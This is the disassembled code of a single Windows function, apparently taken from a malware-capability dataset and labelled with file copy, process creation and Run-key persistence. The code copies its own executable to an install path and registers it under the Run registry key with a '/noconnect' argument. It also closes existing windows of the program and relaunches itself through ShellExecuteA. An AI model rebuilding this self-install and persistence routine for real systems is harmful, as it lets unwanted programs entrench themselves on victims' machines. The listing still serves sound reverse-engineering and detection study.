Function at 0x4068d8
Capabilities:
Copy file
Create process on windows
Persist via run registry key

Disassembly:
mov eax, 0x40d1d0
call fcn.00407bd0
sub esp, 0x64c
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [ebp - 0x58]
call fcn.00408d5c
xor ebx, ebx
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], ebx
call fcn.00408d5c
mov eax, 0x100
lea ecx, [ebp - 0x24]
push eax
push eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], ebx
call fcn.004094e0
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [esi + 0x2c]
call fcn.00408ee3
push eax
lea ecx, [ebp - 0x58]
call fcn.00408f37
push str..exe
lea ecx, [ebp - 0x58]
call fcn.00408f8b
lea ecx, [ebp - 0x24]
call fcn.004091f2
lea edi, [esi + 0x10c]
mov ecx, edi
mov dword [ebp - 0x10], edi
call fcn.004091f2
lea eax, [ebp - 0x24]
push edi
push eax
call fcn.00408faa
pop ecx
test al, al
pop ecx
je 0x406c8c
mov ecx, edi
call fcn.00408ee3
push eax
call fcn.004082ca
pop ecx
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [esi + 0x12c]
call fcn.00408ef0
push eax
call fcn.004085a2
add esp, 0xc
test eax, eax
je 0x406c8c
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00408ee3
push eax
call fcn.00408634
add esp, 0xc
cmp eax, 0xffffffff
je 0x406cb5
push ebx
lea ecx, [esi + 0x3c]
call fcn.00408ef0
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push eax
call edi
cmp eax, ebx
mov dword [ebp - 0x14], eax
jne 0x4069ee
lea ecx, [esi + 0x2c]
call fcn.00408ef0
push eax
push ebx
call edi
mov dword [ebp - 0x14], eax
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x557]
mov byte [ebp - 0x558], bl
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x10]
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00408ee3
push eax
lea eax, [ebp - 0x558]
push str._s__noconnect
push eax
call sub.MSVCRT.dll_sprintf
mov eax, dword [esi + 0x474]
add esp, 0xc
lea edi, [esi + 0x474]
push 1
push 0x2001f
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
mov ecx, edi
call dword [eax + 8]
cmp eax, 2
je 0x406a7e
mov edi, dword [edi]
lea eax, [ebp - 0x558]
push 1
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x558]
push eax
lea ecx, [esi + 0x6c]
call fcn.00408ee3
push eax
mov eax, edi
lea edi, [esi + 0x474]
mov ecx, edi
call dword [eax + 0x24]
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x40]
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x40]
jne 0x406ad8
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x44]
ja 0x406ad8
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x157]
mov byte [ebp - 0x158], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esi + 0x1c]
stosb byte es:[edi], al
call fcn.00408ee3
push eax
lea ecx, [ebp - 0x24]
call fcn.00408ee3
push eax
lea eax, [ebp - 0x158]
push str._kill__s__s
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x10
lea eax, [ebp - 0x158]
push 5
push ebx
jmp 0x406e31
cmp dword [ebp - 0x14], ebx
je 0x406aff
push ebx
push ebx
push 0x12
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_PostMessageA]
push dword [ebp - 0x14]
call fcn.00408508
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x38]
call fcn.00408d5c
push 0x100
lea eax, [ebp - 0x158]
push ebx
push eax
mov byte [ebp - 4], 2
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, esi
call fcn.004078dd
mov edi, 0x180
lea ecx, [ebp - 0x24]
push edi
call fcn.00408ee3
push eax
call sub.MSVCRT.dll__chmod
pop ecx
pop ecx
mov ecx, dword [ebp - 0x10]
push ebx
call fcn.00408ee3
push eax
lea ecx, [ebp - 0x24]
call fcn.00408ef0
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jne 0x406bb8
lea eax, [ebp - 0x158]
push 0xa
push eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call sub.MSVCRT.dll__itoa
add esp, 0xc
lea eax, [ebp - 0x158]
lea ecx, [ebp - 0x38]
push eax
call fcn.00408f37
push str._nCurrent_Path:
lea ecx, [ebp - 0x38]
call fcn.00408f8b
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x38]
push eax
call fcn.00408f65
push str._nInstall_Path:
lea ecx, [ebp - 0x38]
call fcn.00408f8b
mov ecx, dword [ebp - 0x10]
call fcn.00408ee3
push eax
lea ecx, [ebp - 0x38]
call fcn.00408f8b
lea ecx, [esi + 0x4c]
push ebx
call fcn.00408ee3
push eax
lea ecx, [ebp - 0x24]
call fcn.00408ef0
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jne 0x406c2e
lea eax, [ebp - 0x158]
push 0xa
push eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call sub.MSVCRT.dll__itoa
add esp, 0xc
lea eax, [ebp - 0x158]
lea ecx, [ebp - 0x38]
push eax
call fcn.00408f37
push str._nCurrent_Path:
lea ecx, [ebp - 0x38]
call fcn.00408f8b
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x38]
push eax
call fcn.00408f65
push str._nInstall_Path:
lea ecx, [ebp - 0x38]
call fcn.00408f8b
lea eax, [esi + 0x4c]
lea ecx, [ebp - 0x38]
push eax
call fcn.00408f65
mov ecx, dword [ebp - 0x10]
push edi
call fcn.00408ee3
push eax
call sub.MSVCRT.dll__chmod
pop ecx
pop ecx
push edi
lea ecx, [esi + 0x4c]
call fcn.00408ee3
push eax
call sub.MSVCRT.dll__chmod
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
je 0x406c80
mov ecx, esi
call fcn.00406e65
mov ecx, dword [ebp - 0x10]
push 5
push ebx
push str._noconnect
call fcn.00408ee3
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 2
call sub.MSVCRT.dll_exit
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 1
call fcn.00408e57
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call fcn.00408e57
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00408e57
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x357]
mov byte [ebp - 0x358], bl
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x10]
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00408ee3
push eax
lea eax, [ebp - 0x358]
push str._s__noconnect
push eax
call sub.MSVCRT.dll_sprintf
mov eax, dword [esi + 0x474]
add esp, 0xc
lea edi, [esi + 0x474]
push 1
push 0x2001f
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
mov ecx, edi
call dword [eax + 8]
cmp eax, 2
je 0x406d45
mov edi, dword [edi]
lea eax, [ebp - 0x358]
push 1
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x358]
push eax
lea ecx, [esi + 0x6c]
call fcn.00408ee3
push eax
mov eax, edi
lea edi, [esi + 0x474]
mov ecx, edi
call dword [eax + 0x24]
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x40]
push ebx
lea ecx, [esi + 0x3c]
call fcn.00408ef0
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push eax
call edi
cmp eax, ebx
mov dword [ebp - 0x14], eax
jne 0x406d71
lea ecx, [esi + 0x2c]
call fcn.00408ef0
push eax
push ebx
call edi
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x406d93
push ebx
push ebx
push 0x12
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_PostMessageA]
push dword [ebp - 0x14]
call fcn.00408508
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, esi
call fcn.004078dd
mov edi, 0x180
lea ecx, [ebp - 0x24]
push edi
call fcn.00408ee3
push eax
call sub.MSVCRT.dll__chmod
pop ecx
pop ecx
mov ecx, dword [ebp - 0x10]
push ebx
call fcn.00408ee3
push eax
lea ecx, [ebp - 0x24]
call fcn.00408ef0
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea ecx, [esi + 0x4c]
push ebx
call fcn.00408ee3
push eax
lea ecx, [ebp - 0x24]
call fcn.00408ef0
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov ecx, dword [ebp - 0x10]
push edi
call fcn.00408ee3
push eax
call sub.MSVCRT.dll__chmod
pop ecx
pop ecx
push edi
lea ecx, [esi + 0x4c]
call fcn.00408ee3
push eax
call sub.MSVCRT.dll__chmod
pop ecx
pop ecx
lea ecx, [ebp - 0x24]
call fcn.00408ee3
push eax
lea eax, [ebp - 0x658]
push str._kill__s__install
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov ecx, esi
call fcn.00406e65
push 5
push ebx
lea eax, [ebp - 0x658]
mov ecx, dword [ebp - 0x10]
push eax
call fcn.00408ee3
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call fcn.00408e57
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00408e57
xor eax, eax
jmp 0x406ca6